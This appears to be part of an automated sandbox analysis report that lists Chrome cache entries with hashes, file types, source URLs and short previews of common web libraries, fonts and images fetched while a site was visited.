Preview:	<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">.<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">.<head profile="http://gmpg.org/xfn/11">. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />. <title>404 - PAGE NOT FOUND</title>...... Add Slide Outs -->.....<script src="http://code.jquery.com/jquery-3.3.1.min.js"></script> .....<script src="/cgi-sys/js/simple-expand.min.js"></script>. . <style type="text/css">. body{padding:0;margin:0;font-family:helvetica;}. #container{margin:20px auto;width:868px;}. #container #top404{background-image:url('/cgi-sys/images/404top_w.jpg');background-repeat:no-repeat;width:868px;height:168px;}. #container #mid404{background-image:url('/cgi-sys/images/404mid.gif');background-repeat:repeat-y;width:868px;}. #container #mid404 #gatorbottom{position:relative;left:39px;float:left;}. #

Chrome Cache Entry: 168

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (48664)
Category:	downloaded
Size (bytes):	48944
Entropy (8bit):	5.272507874206726
Encrypted:	false
SSDEEP:	768:9VG5R15WbHVKZrycEHSYro34CrSLB6WU/6DqBf4l1B:9VIRuo53XiwWTvl1B
MD5:	14D449EB8876FA55E1EF3C2CC52B0C17
SHA1:	A9545831803B1359CFEED47E3B4D6BAE68E40E99
SHA-256:	E7ED36CEEE5450B4243BBC35188AFABDFB4280C7C57597001DE0ED167299B01B
SHA-512:	00D9069B9BD29AD0DAA0503F341D67549CCE28E888E1AFFD1A2A45B64A4C1BC460D81CFC4751857F991F2F4FB3D2572FD97FCA651BA0C2B0255530209B182F22
Malicious:	false
Reputation:	low
URL:	https://maxcdn.bootstrapcdn.com/bootstrap/4.0.0/js/bootstrap.min.js
Preview:	/!. Bootstrap v4.0.0 (https://getbootstrap.com). * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors). * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE). */.!function(t,e){"object"==typeof exports&&"undefined"!=typeof module?e(exports,require("jquery"),require("popper.js")):"function"==typeof define&&define.amd?define(["exports","jquery","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,n){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key,i)}}function s(t,e,n){return e&&i(t.prototype,e),n&&i(t,n),t}function r(){return(r=Object.assign\|\|function(t){for(var e=1;e<arguments.length;e++){var n=arguments[e];for(var i in n)Object.prototype.hasOwnProperty.call(n,i)&&(t[i]=n[i])}return t}).apply(this,arguments)}e=e&&e.hasOwnProperty("default")?e.default:e,n=n&&n.hasOwnProp

Chrome Cache Entry: 169

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (2608)
Category:	downloaded
Size (bytes):	2782
Entropy (8bit):	5.019685895243474
Encrypted:	false
SSDEEP:	48:ZyasIR12+fdeW/dki+sefSjDdf19EhTPvyhu31y4YqAJ:ZyasIR1Jr0lalvEJSIPYJJ
MD5:	42CB9467FD660B25209863C072E69342
SHA1:	C4D32879D225F46588FBA989F8A2AFCB9B49A519
SHA-256:	7989430E3C85121CAA76C6DA31AA38D43EF139062E2C3BD4F4350B62FE90D4D4
SHA-512:	F248177D888D767C375F5F725598CBCFCD48BE0AC92BE5F446FC010659C52100DE8CE4CB025F7B34EA3179E34368492F00CD4392129A9F2D323FD185C210B4D0
Malicious:	false
Reputation:	low
URL:	https://smsfrica.com/cgi-sys/js/simple-expand.min.js
Preview:	/* Copyright (C) 2012 Sylvain Hamel.Project: https://github.com/redhotsly/simple-expand.MIT Licence: https://raw.github.com/redhotsly/simple-expand/master/licence-mit.txt */.(function($){"use strict";function e(){var e=this;e.defaults={hideMode:"fadeToggle",defaultSearchMode:"parent",defaultTarget:".content",throwOnMissingTarget:!0,keepStateInCookie:!1,cookieName:"simple-expand"},e.settings={},$.extend(e.settings,e.defaults),e.findLevelOneDeep=function(e,t,n){return e.find(t).filter(function(){return!$(this).parentsUntil(e,n).length})},e.setInitialState=function(t,n){var r=e.readState(t);r?(t.removeClass("collapsed").addClass("expanded"),e.show(n)):(t.removeClass("expanded").addClass("collapsed"),e.hide(n))},e.hide=function(t){e.settings.hideMode==="fadeToggle"?t.hide():e.settings.hideMode==="basic"&&t.hide()},e.show=function(t){e.settings.hideMode==="fadeToggle"?t.show():e.settings.hideMode==="basic"&&t.show()},e.checkKeepStateInCookiePreconditions=function(){if(e.settings.keepStateIn

Chrome Cache Entry: 170

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	dropped
Size (bytes):	46765
Entropy (8bit):	7.973263791395308
Encrypted:	false
SSDEEP:	768:eFqn7kzKsTY9b/qyPVs8RbNAdTJJV4PHViAMAj+zpMsPVQfmIUU3Pp:e4nIzKsibJa8/A2vTj+zHPyLV3Pp
MD5:	E76C663D918F10DE6563213F131E1DED
SHA1:	AEE65F532B0A9442C0223CDEC9DFF66445EF40D1
SHA-256:	AE44C2952724C3A4A366CC1BEB32FD86AC54EFB8F887F7EBDE16237E7758520E
SHA-512:	D012F3000526B83378983D4ADE9DAC3266CE71ACF7BA1978654BCCE98FFD129AEBB507646187B3ED9BC9F733859D4A5BCA8811127E591EDE444CFCCED3EC4B92
Malicious:	false
Reputation:	low
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?...0.j.C.@ nP}....$8.2.'..R...3...0.q.=.j..d[..X.+mm..=...mZ.;..^....\|....X..a.....p:S.<44.H.v..D..p\|..B...~..x;.."...&...h...a....u.r9....?......e8.a.a].3.$..3.s.:..Mj5g..k..u..r......a..0:}.V..+.E$a}.e.'.g9...:....6.cw......VM.....G......;?.>.u....H.H.Y.-...8<~t...pQ....O...z}.R..x[f}.~56.e.k.K..Y....X...s..6.rZ..iva;..2T..._.Z.~/.....B.)...~..6~^1.R)C..3

Chrome Cache Entry: 171

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 172

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (569)
Category:	downloaded
Size (bytes):	513686
Entropy (8bit):	5.708485144795057
Encrypted:	false
SSDEEP:	6144:I5yBhvtossZ83R0i4jGbit+yhypxIylDtetHhvXCU0g4+yB+ZE4I:I7ZiNyVye341N
MD5:	5A8547555D71E5846135A48DCC7EC3DC
SHA1:	BDF99D0037D631CA1D24EFA343781F55A11AFB05
SHA-256:	7A01932ABC324CBDF143534BD8DC0E665E045A2AE8A0D234D24F2D3AD9EBC619
SHA-512:	863D425B41D6B439618CCD38D5EA46D5AD6CF3C145A476E0A8596903CFAAC4A2D04D40F5CD4F92AC74BDD73DFAAEC9F4661C6A71116DFC78B6A41F7D3BD801E6
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/releases/07g0mpPGukTo20VqKa8GbTSw/recaptcha__en.js
Preview:	(function(){/.. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. Copyright 2005, 2007 Bob Ippolito. All Rights Reserved.. Copyright The Closure Library Authors.. SPDX-License-Identifier: MIT././. Copyright The Closure Library Authors.. SPDX-License-Identifier: Apache-2.0././.. SPDX-License-Identifier: Apache-2.0././*.. Apache License. Version 2.0, January 2004. https://www.apache.org/licenses/.. TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION.. 1. Definitions... "License" shall mean the terms and conditions for use, reproduction,. and distribution as defined by Sections 1 through 9 of this document... "Licensor" shall mean the copyright owner or entity authorized by. the copyright owner that is granting the License... "Legal Entity" shall mean the union of the acting entity and all. other entities that contro

Chrome Cache Entry: 173

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32030)
Category:	downloaded
Size (bytes):	86709
Entropy (8bit):	5.367391365596119
Encrypted:	false
SSDEEP:	1536:9NhEyjjTikEJO4edXXe9J578go6MWXqcVhrLyB4Lw13sh2bzrl1+iuH7U3gBORDT:jxcq0hrLZwpsYbmzORDU8Cu5
MD5:	E071ABDA8FE61194711CFC2AB99FE104
SHA1:	F647A6D37DC4CA055CED3CF64BBC1F490070ACBA
SHA-256:	85556761A8800D14CED8FCD41A6B8B26BF012D44A318866C0D81A62092EFD9BF
SHA-512:	53A2B560B20551672FBB0E6E72632D4FD1C7E2DD2ECF7337EBAAAB179CB8BE7C87E9D803CE7765706BC7FCBCF993C34587CD1237DE5A279AEA19911D69067B65
Malicious:	false
Reputation:	low
URL:	https://code.jquery.com/jquery-3.1.1.min.js
Preview:	/! jQuery v3.1.1 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){"use strict";var c=[],d=a.document,e=Object.getPrototypeOf,f=c.slice,g=c.concat,h=c.push,i=c.indexOf,j={},k=j.toString,l=j.hasOwnProperty,m=l.toString,n=m.call(Object),o={};function p(a,b){b=b\|\|d;var c=b.createElement("script");c.text=a,b.head.appendChild(c).parentNode.removeChild(c)}var q="3.1.1",r=function(a,b){return new r.fn.init(a,b)},s=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,t=/^-ms-/,u=/-([a-z])/g,v=function(a,b){return b.toUpperCase()};r.fn=r.prototype={jquery:q,constructor:r,length:0,toArray:function(){return f.call(this)},get:function(a){return null==a?f.call(this):a<0?this[a+this.length]:this[a]},pushStack:function(a){var b=r.merge(this.con

Chrome Cache Entry: 174

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15552, version 1.0
Category:	downloaded
Size (bytes):	15552
Entropy (8bit):	7.983966851275127
Encrypted:	false
SSDEEP:	384:HDKhlQ8AGL0dgUoEGBQTc7r6QYMkyr/iobA2E4/jKcJZI7lhzi:jslQ+LhUoTB0Qr6Qjkg/DmcJufzi
MD5:	285467176F7FE6BB6A9C6873B3DAD2CC
SHA1:	EA04E4FF5142DDD69307C183DEF721A160E0A64E
SHA-256:	5A8C1E7681318CAA29E9F44E8A6E271F6A4067A2703E9916DFD4FE9099241DB7
SHA-512:	5F9BB763406EA8CE978EC675BD51A0263E9547021EA71188DBD62F0212EB00C1421B750D3B94550B50425BEBFF5F881C41299F6A33BBFA12FB1FF18C12BC7FF1
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......<...........<Z.........................d..z..J.`..L.\..<.....<.....^...x.6.$..6. .... ..S..}%.......\|....x..[j.E...d..-A...]=sjf$X.o.5......V....i?}.\...;...V......5..mO=,[.B..d'..=..M...q...8..U'..N..G...[..8....Jp..xP...'.?....}.-.1F.C.....%z..#...Q...~.~..3.............r.Xk..v..7t.+bw...f..b...q.W..'E.....O..a..HI.....Y.B..i.K.0.:.d.E.Lw....Q..~.6.}B...bT.F.,<./....Qu....\|...H....Fk.-..H..p4.$......{.2.....".T'..........Va.6+.9uv....RW..U$8...p...........H5...B..N..V...{.1....5}p.q6..T...U.P.N...U...!.w..?..mI..8q.}.... >.Z.K.....tq..}.><Ok..w.. ..v....W...{....o...."+#+,..vdt...p.WKK:.p1...3`. 3.......Q.].V.$}.......:.S..bb!I...c.of.2uq.n.MaJ..Cf.......w.$.9C...sj.=...=.Z7...h.w M.D..A.t.....]..GVpL...U(.+.)m..e)..H.}i.o.L...S.r..m..Ko....i..M..J..84.=............S..@......Z.V.E..b...0.....@h>...."$.?....../..?.....?.J.a,..\|..d...\|`.m5..b..LWc...L...?.G.].i...Q..1.:..LJV.J...bU.2.:\.kt.......t.....k....B..i.z+...........A.....

Chrome Cache Entry: 175

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15344, version 1.0
Category:	downloaded
Size (bytes):	15344
Entropy (8bit):	7.984625225844861
Encrypted:	false
SSDEEP:	384:ctE5KIuhGO+DSdXwye6i9Xm81v4vMHCbppV0pr3Ll9/w:cqrVO++tw/9CICFbQLlxw
MD5:	5D4AEB4E5F5EF754E307D7FFAEF688BD
SHA1:	06DB651CDF354C64A7383EA9C77024EF4FB4CEF8
SHA-256:	3E253B66056519AA065B00A453BAC37AC5ED8F3E6FE7B542E93A9DCDCC11D0BC
SHA-512:	7EB7C301DF79D35A6A521FAE9D3DCCC0A695D3480B4D34C7D262DD0C67ABEC8437ED40E2920625E98AAEAFBA1D908DEC69C3B07494EC7C29307DE49E91C2EF48
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v18/KFOmCnqEu92Fr1Mu4mxK.woff2
Preview:	wOF2......;........H..;..........................d..@..J.`..L.T..<.....x.....^...x.6.$..6. ..t. ..I.h\|.l....A....b6........(......@e.]...:..-.0..r.)..hS..h...N.).D.........b.].......^..t?.m{...."84...9......c...?..r3o....}...S]....zbO.../z..{.....~cc....I...#.G.D....#e.A..b...b`a5P.4........M....v4..fI#X.z,.,...=avy..F.a.\9.P\|.[....r.Q@M.I.._.9..V..Q..]......[ {u..L@...]..K......]C....l$.Z.Z...Zs.4........ x.........F.?.7N..].\|.wb\....Z{1L#..t....0.dM...$JV...{..oX...i....6.v.~......)\|.TtAP&).KQ.]y........'...:.d..+..d..."C.h..p.2.M..e,.UP..@.q..7..D.@...,......B.n. r&.......F!.....\...;R.?-.i...,7..cb../I...Eg...!X.)5.Aj7...Ok..l7.j.A@B`".}.w.m..R.9..T.X.X.d....S..`XI..1... .$C.H.,.\. ..A(.AZ.................`Wr.0]y..-..K.1.............1.tBs..n.0...9.F[b.3x...$....T..PM.Z-.N.rS?I.<8eR'.3..27..?;..OLf.Rj.@.o.W...........j~ATA....vX.N:.3dM.r.)Q.B...4i.f..K.l..s....e.U.2...k..a.GO.}..../.'..%$..ed..'..qP....M..j....../.z&.=...q<....-..?.A.%..K..

Chrome Cache Entry: 176

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, max speed, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1592
Category:	dropped
Size (bytes):	621
Entropy (8bit):	7.673946009263606
Encrypted:	false
SSDEEP:	12:Xp7fmqfW/e4YC2L0E5DZLB62y/+6lbPa1Gotq8mdd2Xmy2QLBwxD+QkCfBJ:Xp6qf2SCk3LBpy/rtPa1GKq8mOX5jLcD
MD5:	4761405717E938D7E7400BB15715DB1E
SHA1:	76FED7C229D353A27DB3257F5927C1EAF0AB8DE9
SHA-256:	F7ED91A1DAB5BB2802A7A3B3890DF4777588CCBE04903260FBA83E6E64C90DDF
SHA-512:	E8DAC6F81EB4EBA2722E9F34DAF9B99548E5C40CCA93791FBEDA3DEBD8D6E401975FC1A75986C0E7262AFA1B9D1475E1008A89B92C8A7BEC84D8A917F221B4A2
Malicious:	false
Reputation:	low
Preview:	..........}UMo"1..+.....G; .8l...M..$.U.AW......UaX..`'.=......\|..z3...Ms>..Y...QB..W..y..6.......?..........L.W=m....=..w.)...nw...a.z......#.y.j...m...P...#...6....6.u.u...OF.V..07b..\...s.f..U..N..B...>.d.-z..x.2..Lr.Rr)....JF.z.;Lh.....q.2.A....[.&".S..:......]........#k.U#57V..k5.tdM.j.9.FMQ2..H:.~op..H.......hQ.#...r[.T.$.@........j.xc.x0..I.B:#{iP1.e'..S4.:...mN.4)<W.A.).g.+..PZ&.$.#.6v.+.!...x...}.._...d...#.Cb..(..^k..h!..7.dx.WHB......(.6g.7.Wwt.I<.......o.;.....Oi$}f.6.....:P..!<5.(.p.e.%et.)w8LA.l9r..n.....?.F.DrK...H....0F...{.,.......{E..".......x.@..?u......../....8...

Chrome Cache Entry: 177

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, baseline, precision 8, 868x169, components 3
Category:	dropped
Size (bytes):	4335
Entropy (8bit):	5.483603315043782
Encrypted:	false
SSDEEP:	48:Ivi3ZsdwUKPGIhuF/ig2BamU/CSkMKisRHcfZakyWr9A9RSxNRXbRzwn:HpowU4ovDPCSrKishcxjyWrCCb+n
MD5:	DE6ECBBB2471827D90BF32C47A0CBC45
SHA1:	FFEAAFE8B9CA2752908C5D4E95E4803EF7FFDD18
SHA-256:	5CAE6C33F0F9D4449CE8539A60E7D40EBA2DDC75979FC26284854A29C36D08CB
SHA-512:	FAF0F054EF55B3362BA26615BC670DCC0471D660BBFBC4D086CE8CB143D31235AFC4AD4332FB669CAB4ED422C99FE67AB31D8E955D9B18F21A4CFDD33090D496
Malicious:	false
Reputation:	low
Preview:	......JFIF.....H.H.....C..............................................!........."$".$.......C.........................................................................d..........................................:..............................!..16FQt.....aq..AV..&..................................'....................R........Q.!13...............?..X..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Chrome Cache Entry: 178

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	SVG Scalable Vector Graphics image
Category:	downloaded
Size (bytes):	1864
Entropy (8bit):	5.222032823730197
Encrypted:	false
SSDEEP:	48:yvswNIBLBpJawmMH44log6gw/MHm7pJroog6gwkMH9Xog6gwdMHdqdyqog7C:ykfXYx+odPcs9B
MD5:	BC3D32A696895F78C19DF6C717586A5D
SHA1:	9191CB156A30A3ED79C44C0A16C95159E8FF689D
SHA-256:	0E88B6FCBB8591EDFD28184FA70A04B6DD3AF8A14367C628EDD7CABA32E58C68
SHA-512:	8D4F38907F3423A86D90575772B292680F7970527D2090FC005F9B096CC81D3F279D59AD76EAFCA30C3D4BBAF2276BBAA753E2A46A149424CF6F1C319DED5A64
Malicious:	false
Reputation:	low
URL:	https://aadcdn.msftauth.net/shared/1.0/content/images/backgrounds/2_bc3d32a696895f78c19df6c717586a5d.svg
Preview:	<svg xmlns="http://www.w3.org/2000/svg" width="1920" height="1080" fill="none"><g opacity=".2" clip-path="url(#E)"><path d="M1466.4 1795.2c950.37 0 1720.8-627.52 1720.8-1401.6S2416.77-1008 1466.4-1008-254.4-380.482-254.4 393.6s770.428 1401.6 1720.8 1401.6z" fill="url(#A)"/><path d="M394.2 1815.6c746.58 0 1351.8-493.2 1351.8-1101.6S1140.78-387.6 394.2-387.6-957.6 105.603-957.6 714-352.38 1815.6 394.2 1815.6z" fill="url(#B)"/><path d="M1548.6 1885.2c631.92 0 1144.2-417.45 1144.2-932.4S2180.52 20.4 1548.6 20.4 404.4 437.85 404.4 952.8s512.276 932.4 1144.2 932.4z" fill="url(#C)"/><path d="M265.8 1215.6c690.246 0 1249.8-455.595 1249.8-1017.6S956.046-819.6 265.8-819.6-984-364.005-984 198-424.445 1215.6 265.8 1215.6z" fill="url(#D)"/></g><defs><radialGradient id="A" cx="0" cy="0" r="1" gradientUnits="userSpaceOnUse" gradientTransform="translate(1466.4 393.6) rotate(90) scale(1401.6 1720.8)"><stop stop-color="#107c10"/><stop offset="1" stop-color="#c4c4c4" stop-opacity="0"/></radialGradient><r

Chrome Cache Entry: 179

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 48 x 48, 8-bit gray+alpha, non-interlaced
Category:	downloaded
Size (bytes):	530
Entropy (8bit):	7.2576396280117494
Encrypted:	false
SSDEEP:	12:6v/7OEUhUxzPKmghSn8nazyk+k8/OzxQcxNMvVb:bhUxzlvWkT8FcxK1
MD5:	88E0F42C9FA4F94AA8BCD54D1685C180
SHA1:	5AD9D47A49B82718BAA3BE88550A0B3350270C42
SHA-256:	89C62095126FCA89EA1511CF35B49B8306162946B0C26D6F60C5506C51D85992
SHA-512:	FAFF842E9FF4CC838EC3C724E95EEE6D36B2F8C768DC23E48669E28FC5C19AA24B1B34CF1DBCBE877B3537D6A325B4C35AF440C2B6D58F6A77A04A208D9296F8
Malicious:	false
Reputation:	low
URL:	https://www.gstatic.com/recaptcha/api2/audio_2x.png
Preview:	.PNG........IHDR...0...0.......1.....gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....bKGD.........IDATX...JBA.....E-R... (#..-*$.}.%.Kt.A..Dx.I...AF.Q.4.......-.6..?.m:.,.......Q..D.L..e4..2.D..8)j4:......&>.s......p?......9.o5>.][H.}...&L.%.xh{~K.J\|.b..N..HMp....f.}dd..S..4%...$dK..!..Z..NNs.W&g..Fn....p...w..Ut...E\.e.......6......M.F...X.L......em.....R#'..%....j$/..-......@.l."..M.\|....OtW.H.,.-.~W`Z.s8..W...B...C-.8"H....6......9...A..aO.1`.M..A..eA.{...-...U.,.W........IEND.B`.

Chrome Cache Entry: 180

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32065)
Category:	downloaded
Size (bytes):	85578
Entropy (8bit):	5.366055229017455
Encrypted:	false
SSDEEP:	1536:EYE1JVoiB9JqZdXXe2pD3PgoIiulrUndZ6a4tfOR7WpfWBZ2BJda4w9W3qG9a986:v4J+OlfOhWppCW6G9a98Hr2
MD5:	2F6B11A7E914718E0290410E85366FE9
SHA1:	69BB69E25CA7D5EF0935317584E6153F3FD9A88C
SHA-256:	05B85D96F41FFF14D8F608DAD03AB71E2C1017C2DA0914D7C59291BAD7A54F8E
SHA-512:	0D40BCCAA59FEDECF7243D63B33C42592541D0330FEFC78EC81A4C6B9689922D5B211011CA4BE23AE22621CCE4C658F52A1552C92D7AC3615241EB640F8514DB
Malicious:	false
Reputation:	low
URL:	https://ajax.googleapis.com/ajax/libs/jquery/2.2.4/jquery.min.js
Preview:	/! jQuery v2.2.4 \| (c) jQuery Foundation \| jquery.org/license /.!function(a,b){"object"==typeof module&&"object"==typeof module.exports?module.exports=a.document?b(a,!0):function(a){if(!a.document)throw new Error("jQuery requires a window with a document");return b(a)}:b(a)}("undefined"!=typeof window?window:this,function(a,b){var c=[],d=a.document,e=c.slice,f=c.concat,g=c.push,h=c.indexOf,i={},j=i.toString,k=i.hasOwnProperty,l={},m="2.2.4",n=function(a,b){return new n.fn.init(a,b)},o=/^[\s\uFEFF\xA0]+\|[\s\uFEFF\xA0]+$/g,p=/^-ms-/,q=/-([\da-z])/gi,r=function(a,b){return b.toUpperCase()};n.fn=n.prototype={jquery:m,constructor:n,selector:"",length:0,toArray:function(){return e.call(this)},get:function(a){return null!=a?0>a?this[a+this.length]:this[a]:e.call(this)},pushStack:function(a){var b=n.merge(this.constructor(),a);return b.prevObject=this,b.context=this.context,b},each:function(a){return n.each(this,a)},map:function(a){return this.pushStack(n.map(this,function(b,c){return a.call

Chrome Cache Entry: 181

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.02, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 450x450, components 3
Category:	downloaded
Size (bytes):	35237
Entropy (8bit):	7.9696524125044546
Encrypted:	false
SSDEEP:	768:e8ytiDVAfRXqtIkbbUsX3HuuzuPT7+l/pNN0IvmEr3hnrCyGcEbo:eUAfUIJs3HtaT7+l/pL0IvmE1OX0
MD5:	B171D32915B4457AA4A07E5F50F91B9F
SHA1:	6845EBFDC8D36F90C845840B03B2E77B3C6BA0B1
SHA-256:	DB786DCD5A55D2F3CCDDF895163D5556DB649A394B4DAE10FBF3A59DCA71081F
SHA-512:	84858CB083CD6577F3003B658E58C1516DA2E9DBF82EA7BDAE927C266F84640A316F6B4D003D4D906023076155EA082F3B2B90E7048979B64024D1BFC3A192C5
Malicious:	false
Reputation:	low
URL:	https://www.google.com/recaptcha/api2/payload?p=06AFcWeA5e-va39F3VfbbSi0oottIg7ALlUDZb-nWwVX1-unQSuzFdKkA8yRqHnNqEBBnJoUfel3lJWlGL6UqRrnl-XaGVrxZtdN4xwznjD5t4FYX8Qa5d8b7bqYbtsJzJaNpYo6dV0hAJxLq1umrkqdrEO38PvgeW_BjrVXuD7_yWHYVbGHdeIkpvf7X_IAdl8hzhcTFabA6ze8v_n5WmmZcTZRtqU1EYWA&k=6LfwuyUTAAAAAOAmoS0fdqijC2PbbdH4kjq62Y1b&id=2
Preview:	......JFIF.............C..............................................!........."$".$.......C............................................................................"............................................................}........!1A..Qa."q.2....#B...R..$3br........%&'()456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz..............................................................................................................................w.......!1..AQ.aq."2...B.....#3R..br...$4.%.....&'()56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz....................................................................................?..o.....5\|z.........5...h.R.....\.....e....\.7..kl...F8.e...D..r.}.=MtVz....y....W....Cv!c.....3.K.......u....?..tW..c.{;.....\...wg!Y.a..T.-.....5.G..]8...[6.#.P......t....U1...~f9.W..oG......q.....D............\$.....A.@..-(..dg...!.......{.A.J...F.f.....y .w...OQR.&.}OZ....."..O...F..J.....@.5.+,.8?.p.rWW;..bX.sY...,_.p.=M5..+.X..v..._J..#..s...@.Y

Chrome Cache Entry: 182

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text
Category:	dropped
Size (bytes):	211
Entropy (8bit):	5.090012084439345
Encrypted:	false
SSDEEP:	3:INhtq4btxbKBf+BiAIFRNVC3h0i7GeYHoIp//uxbKBf+BiAIFRNVC3AYZtXL1h8T:otqWtxbQLZVVi7GeqlcbQLZVZYZ7qT
MD5:	938464F4A51E80A29886967E2DD10247
SHA1:	6CA208768620D334DC104B093C6B816BEFD75CAD
SHA-256:	E5E1650378525B31C2E2805A4CF471C306C690A4F01466044490D53753E83BBF
SHA-512:	D432657412D9A0D75171CFC35F9F3A1DF6383406D76BF299A1EC230E859C2DDA71BF452129956E66538CB652732ED4F8E47BA363691F18C77D61A7442391C30C
Malicious:	false
Reputation:	low
Preview:	<HTML>.<HEAD>.<TITLE>HTTP method GET is not supported by this URL</TITLE>.</HEAD>.<BODY BGCOLOR="#FFFFFF" TEXT="#000000">.<H1>HTTP method GET is not supported by this URL</H1>.<H2>Error 405</H2>.</BODY>.</HTML>.

Chrome Cache Entry: 183

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 140 x 140, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	18239
Entropy (8bit):	7.972727118302574
Encrypted:	false
SSDEEP:	384:3bf01dOjMX9Oi9891zgQ2p4898X+3yFl+CeweQfUuBkZ:rf01oj+Or1kt3CFlVewnFBkZ
MD5:	48AB4A603B81E4FEED659BF03483C419
SHA1:	286B69301307E6C14EC3D32F85CDB8FCFBAD9DA6
SHA-256:	0ED026C4829F5BB704EA921A525D9E60BE74C072444E16AF21CB3CF90439E335
SHA-512:	C0236B6BFD97A3025701E9F6496D2349E10A34B09CE5B1B7FBC1AA0CD66A0B5CAE45A0451C02DB545A3FA9EDC724574342D44956246BAFB546D59AE95EDDB2FD
Malicious:	false
Reputation:	low
URL:	https://smsfrica.com/cgi-sys/images/f.png
